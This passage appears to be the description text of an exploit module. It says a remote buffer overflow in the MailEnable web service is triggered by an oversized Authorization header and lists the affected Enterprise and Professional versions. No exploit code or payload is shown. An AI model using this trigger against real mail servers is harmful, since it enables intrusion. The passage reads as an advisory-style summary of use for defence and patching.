          This module exploits a remote buffer overflow in the MailEnable web service.
          The vulnerability is triggered when a large value is placed into the Authorization
          header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and
          MailEnable Professional versions prior to 1.55 are affected.
